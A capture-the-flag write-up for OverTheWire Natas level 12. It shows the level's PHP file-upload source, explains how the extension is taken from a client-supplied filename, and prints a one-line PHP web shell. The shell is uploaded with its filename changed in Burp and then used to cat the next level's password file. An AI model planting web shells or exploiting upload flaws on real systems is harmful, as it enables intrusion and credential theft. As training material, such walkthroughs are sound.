Level 12
Using the credentials obtained from the previous post, we can log in to Level 12 where we are presented with the following screen:
It appears as though this challenge allows us to upload a file, and then access it later. Let’s take a look at the source to verify this:
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas12</h1>
<div id="content">
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Let’s walk through this code:
- We start with a genRandomString function, which appears to create a 10 character random string.
- Then, we send a directory and an extension to the makeRandomPath, which creates a random filename (using the extension provided) until the filename is not in use.
- We also create a makeRandomPathFromFilename function which taking in a directory and a filename, and extracts the extension from the filename. Then it uses this information to call makeRandomPath.
- Then the PHP code checks to see if a file has been uploaded, and then creates a random path from the provided filename. Then it checks the size to make sure it’s under 1000 bytes, and if these checks pass, it uploads the file and tells us where it is (it even gives us a link to it – how thoughtful).
<?
// Rudimentary Shell
passthru($_GET['cmd']);
?>
I then saved it to ‘shell.php’. Let’s fire up Burp, and see what happens when we upload the file.
We then change the filename:
We browse to the file using the URL [filename].php?cmd=cat /etc/natas_webpass/natas13, and we receive the following:
